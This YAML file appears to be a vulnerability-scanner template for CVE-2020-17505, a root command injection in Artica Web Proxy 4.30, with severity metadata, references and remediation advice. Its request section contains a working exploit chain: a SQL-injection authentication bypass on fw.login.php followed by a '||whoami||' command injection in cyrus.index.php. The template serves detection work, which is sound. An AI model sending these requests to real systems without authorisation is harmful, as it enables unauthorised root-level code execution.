54 lines
2.1 KiB
YAML
54 lines
2.1 KiB
YAML
id: CVE-2020-17505
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info:
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name: Artica Web Proxy 4.30 - OS Command Injection
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author: dwisiswant0
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severity: high
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description: Artica Web Proxy 4.30 allows an authenticated remote attacker to inject commands via the service-cmds parameter in cyrus.php. These commands are executed with root privileges via service_cmds_peform.
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impact: |
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Successful exploitation of this vulnerability can lead to unauthorized remote code execution, compromising the confidentiality, integrity, and availability of the affected system.
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remediation: |
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Upgrade to a patched version of Artica Web Proxy or apply the vendor-supplied patch to mitigate this vulnerability.
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reference:
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- http://packetstormsecurity.com/files/159267/Artica-Proxy-4.30.000000-Authentication-Bypass-Command-Injection.html
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- https://nvd.nist.gov/vuln/detail/CVE-2020-17505
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- https://blog.max0x4141.com/post/artica_proxy/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 8.8
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cve-id: CVE-2020-17505
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cwe-id: CWE-78
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epss-score: 0.96502
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epss-percentile: 0.99497
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cpe: cpe:2.3:a:articatech:web_proxy:4.30.000000:*:*:*:*:*:*:*
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metadata:
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max-request: 2
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vendor: articatech
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product: web_proxy
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tags: proxy,packetstorm,cve,cve2020,rce,artica,articatech
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http:
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- raw:
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- |
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GET /fw.login.php?apikey=%27UNION%20select%201,%27YToyOntzOjM6InVpZCI7czo0OiItMTAwIjtzOjIyOiJBQ1RJVkVfRElSRUNUT1JZX0lOREVYIjtzOjE6IjEiO30=%27; HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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- |
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GET /cyrus.index.php?service-cmds-peform=%7C%7Cwhoami%7C%7C HTTP/1.1
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Host: {{Hostname}}
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Accept: */*
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- "array(2)"
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- "Position: ||whoami||"
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- "root"
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condition: and
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- type: status
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status:
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- 200
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# digest: 4a0a004730450220241706d89fda66e3aeee8924013472762ba234dffca69c18e350bcc9eac33c02022100bc9cb45c824fbf0abbc34332c45a8185f0177809691a1f9f49dcbda9571b85f7:922c64590222798bb761d5b6d8e72950 |